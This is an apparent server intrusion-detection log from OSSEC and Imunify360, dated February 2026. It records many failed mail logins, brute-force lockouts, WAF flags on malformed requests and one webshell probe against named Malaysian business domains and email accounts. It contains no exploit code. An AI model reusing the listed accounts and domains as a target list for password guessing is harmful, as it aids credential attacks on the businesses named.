plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:54:01 dovecot_login authenticator failed for H=(dPfX60) [146.70.146.50]:54464: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.15.149.254
country_id: 3469034
description:
2026-02-01 08:54:03 dovecot_login authenticator failed for H=([187.7.85.97]) [201.15.149.254]:44194: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.184.143.191
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/news-detail9.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:55:09 dovecot_login authenticator failed for H=(OWKTgc) [146.70.146.50]:56423: 535 Incorrect authentication data (set_id=sales@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:55:13 dovecot_login authenticator failed for H=(Ziu8JC) [158.94.208.175]:52869: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:55:30 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38624: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:56:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:56:09 dovecot_login authenticator failed for H=(KFTBqw1) [158.94.208.175]:63762: 535 Incorrect authentication data (set_id=sales@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.160.166.237
country_id: 1820814
description:
2026-02-01 08:56:40 dovecot_login authenticator failed for H=(237-166.adsl.static.espeed.com.bn) [119.160.166.237]:42206: 535 Incorrect authentication data (set_id=info@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:56:53 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:59603: 535 Incorrect authentication data (set_id=testing@acburn.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:56:07 dovecot_login authenticator failed for H=(gmGu9dlG) [146.70.146.50]:58663: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:56:18 dovecot_login authenticator failed for H=(onCsy673L8) [146.70.146.50]:59146: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
country_id: 1814991
description:
2026-02-01 08:56:58 dovecot_login authenticator failed for H=([222.186.68.153]) [222.186.68.153]:38580: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.247.171.186
country_id: 1814991
description:
2026-02-01 08:57:33 dovecot_login authenticator failed for H=([218.75.123.109]) [183.247.171.186]:41757: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-02-01 08:57:37 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:37832: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.141.233.184
country_id: 1814991
description:
2026-02-01 08:57:51 dovecot_login authenticator failed for H=([117.141.233.184]) [117.141.233.184]:44374: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:57:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:57:37 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:39268: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:57:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53322: 535 Incorrect authentication data (set_id=testing@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:57:06 dovecot_login authenticator failed for H=(Lfu529S) [158.94.208.175]:51809: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 08:57:51 dovecot_login authenticator failed for H=(kiafOb6) [178.16.54.22]:54916: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.66.214.70
country_id: 1269750
description:
2026-02-01 08:57:56 dovecot_login authenticator failed for H=([182.66.80.41]) [182.66.214.70]:41144: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:57:15 dovecot_login authenticator failed for H=(MpuSYmhHC) [146.70.146.50]:60971: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-02-01 08:57:48 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:50506: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.143
country_id: 2635167
description:
2026-02-01  8:58:07 211781 [Warning] Aborted connection 211781 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.143' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:58:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:58:34 dovecot_login authenticator failed for H=(oA9KxNlAN) [146.70.146.50]:64252: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 58.145.190.242
country_id: 1210997
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=1&sub=19 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:58:06 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:61063: 535 Incorrect authentication data (set_id=testing@mamstg.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 08:58:23 dovecot_login authenticator failed for H=(Guy5eTaVx) [178.16.54.22]:54179: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:58:01 dovecot_login authenticator failed for H=(44WWoJE7) [158.94.208.175]:50390: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 12.150.243.22
country_id: 6252001
description:
2026-02-01 08:58:12 dovecot_login authenticator failed for H=([12.150.243.20]) [12.150.243.22]:29725: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.109.78.70
country_id: 2589581
domain: www.nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nmahir.com/index-3.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:58:15 dovecot_login authenticator failed for H=(CYrKqp8bK) [146.70.146.50]:63562: 535 Incorrect authentication data (set_id=sales)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.14.64.148
country_id: 3469034
domain: www.nmahir.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nmahir.com/index-2.html HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 08:59:01 dovecot_login authenticator failed for H=(rx8eMZs4) [146.70.146.50]:65216: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 08:59:43 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44414: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 08:59:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56319: 535 Incorrect authentication data (set_id=testing@mams.manforce.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.161.104.111
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&page_id=1&sub=35 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.214.117.134
country_id: 953987
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=566815 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 08:59:27 dovecot_login authenticator failed for H=(pBLKiqq) [178.16.54.22]:50504: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 08:59:04 dovecot_login authenticator failed for H=(1BRYuKJ) [158.94.208.175]:55193: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.162.148.129
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=1&sub=35 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.244.152.92
country_id: 99237
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=4&page_id=1&sub=3 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 78.153.140.207
country_id: 2635167
description:
2026-02-01 08:59:56 H=(localhost.localdomain) [78.153.140.207]:57908 X=TLS1.2:ECDHE-RSA-AES256-GCM-SHA384:256 F=<no-reply@no-reply.com> rejected RCPT <a@b12.siagabaja.com>: Sender verify failed


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 08:59:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 146.70.146.50


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 189.197.2.78
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=558493 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:00:52 dovecot_login authenticator failed for H=(WMtMOKAh) [178.16.54.22]:64279: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:00:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales has been locked for the attacker IP 146.70.146.50


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.62.60.189
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=2&sub=27 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:00:10 dovecot_login authenticator failed for H=(QeKEqd) [158.94.208.175]:53786: 535 Incorrect authentication data (set_id=suffian@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:00:12 dovecot_login authenticator failed for H=(ySjkjNG) [146.70.146.50]:51078: 535 Incorrect authentication data (set_id=sales)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
Feb  1 09:01:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account sales@cordage.com.my has been locked for the attacker IP 146.70.146.50


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:01:40 dovecot_login authenticator failed for H=(EaHHufF8) [146.70.146.50]:53655: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.182.200.35
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=663533 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.19.195.12
country_id: 3144096
description:
2026-02-01 09:01:04 dovecot_login authenticator failed for H=([85.19.195.12]) [85.19.195.12]:35598: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:01:28 dovecot_login authenticator failed for H=(aYosOM9qH) [158.94.208.175]:56460: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.208.46.130
country_id: 1522867
description:
2026-02-01 09:01:35 dovecot_plain authenticator failed for H=(thyashoth) [37.208.46.130]:34288: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.246.8.7
country_id: 3996063
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=715123 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.195.95.254
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=714389 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.145.181.7
country_id: 1814991
description:
2026-02-01 09:01:58 dovecot_login authenticator failed for H=([61.145.181.7]) [61.145.181.7]:49871: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:01:22 dovecot_login authenticator failed for H=(EVrx8IQ) [146.70.146.50]:52827: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 67.60.211.114
country_id: 6252001
description:
2026-02-01 09:01:39 dovecot_login authenticator failed for H=67-60-211-114.cpe.sparklight.net [67.60.211.114]:43790: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 138.219.220.29
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=464199 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.44.178.33
country_id: 3469034
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/casual.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.30.20.98
country_id: 1814991
description:
2026-02-01 09:01:27 dovecot_login authenticator failed for H=([1.30.20.98]) [1.30.20.98]:52792: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:01:28 dovecot_login authenticator failed for H=(RRrvxi5BPF) [178.16.54.22]:60961: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 78.70.20.103
country_id: 2661886
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=4&page_id=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
2026-02-01 09:01:37 dovecot_login authenticator failed for H=([117.4.81.106]) [117.4.81.106]:58030: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.167.11.98
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=360128 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:01:53 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:44202: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 09:02:16 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:50934: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:02:14 dovecot_login authenticator failed for H=(FuxGa0YMY) [158.94.208.175]:58105: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:02:15 dovecot_login authenticator failed for H=(yd6eTV4M) [146.70.146.50]:53983: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.90.133.142
country_id: 1694008
description:
2026-02-01 09:02:17 dovecot_login authenticator failed for H=([202.90.133.142]) [202.90.133.142]:53677: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.235.173.12
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=645854 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.230.43.176
country_id: 3489940
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-category.php?id=5&page_id=3&sub=24 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:02:24 dovecot_login authenticator failed for H=(pG6g3EIk) [178.16.54.22]:63347: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 187.237.47.214
country_id: 3996063
description:
2026-02-01 09:02:33 dovecot_login authenticator failed for H=(customer-187-237-47-214.uninet-ide.com.mx) [187.237.47.214]:57422: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:03:08 dovecot_login authenticator failed for H=(xFsR1Hzd) [146.70.146.50]:55462: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:03:23 dovecot_login authenticator failed for H=(0VwHY2SQeR) [178.16.54.22]:62172: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:03:04 dovecot_login authenticator failed for H=(QxJRxKJ) [158.94.208.175]:62865: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 09:03:56 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:52915: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:04:00 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51116: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:04:05 dovecot_login authenticator failed for H=(XOlMZzo1) [158.94.208.175]:59288: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 8.243.166.66
country_id: 3686110
description:
2026-02-01 09:04:14 dovecot_login authenticator failed for H=([8.243.166.66]) [8.243.166.66]:4501: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:04:17 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:56094: 535 Incorrect authentication data (set_id=test@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:04:06 dovecot_login authenticator failed for H=(zB1p7bqnw) [146.70.146.50]:56352: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-02-01 09:04:24 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:37494: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/images/home/project.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.211.23.39
country_id: 2017370
description:
2026-02-01 09:04:41 dovecot_login authenticator failed for H=(91-211-23-39.atstelecom.ru) [91.211.23.39]:56100: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.52.166.93
country_id: 1819730
description:
2026-02-01 09:04:21 dovecot_login authenticator failed for H=(ADMIN) [47.52.166.93]:52112: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.36.22
country_id: 1835841
description:
2026-02-01 09:04:34 dovecot_login authenticator failed for H=([125.61.36.22]) [125.61.36.22]:48453: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:04:36 dovecot_login authenticator failed for H=(f8s3l9M) [178.16.54.22]:54843: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-02-01 09:05:11 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:57462: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-02-01 09:05:21 dovecot_login authenticator failed for H=(vFtTTp8E0G) [178.16.54.22]:62287: 535 Incorrect authentication data (set_id=plsu.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:05:21 dovecot_login authenticator failed for H=(98Ujt9i7S) [146.70.146.50]:58424: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-02-01 09:05:28 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:56717: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.99.89.74
country_id: 1835841
description:
2026-02-01 09:05:02 dovecot_login authenticator failed for H=([183.99.89.74]) [183.99.89.74]:56048: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:05:04 dovecot_login authenticator failed for H=(VdlvDoh) [158.94.208.175]:65242: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:05:40 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58400: 535 Incorrect authentication data (set_id=test@mams.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-02-01 09:05:18 dovecot_login authenticator failed for H=(www.safecleen.com) [58.49.113.138]:13493: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-02-01 09:05:03 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:50607: 535 Incorrect authentication data (set_id=test@mamstg.manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.146.50
country_id: 2782113
description:
2026-02-01 09:06:15 dovecot_login authenticator failed for H=(Oahc10Ez) [146.70.146.50]:60190: 535 Incorrect authentication data (set_id=sales@cordage.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.143
country_id: 2635167
description:
2026-02-01  9:06:26 212244 [Warning] Aborted connection 212244 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.143' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.195.211.98
country_id: 6252001
description:
2026-02-01 09:06:42 dovecot_plain authenticator failed for H=c-73-195-211-98.hsd1.nj.comcast.net (unchlove) [73.195.211.98]:50480: 535 Incorrect authentication data (set_id=admin@agsaintifik.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 09:06:06 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:38016: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 09:06:07 dovecot_login authenticator failed for H=(1GqoB8Ow1B) [158.94.208.175]:55536: 535 Incorrect authentication data (set_id=suffian)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 146.70.146.50
country_id: 2782113
description:
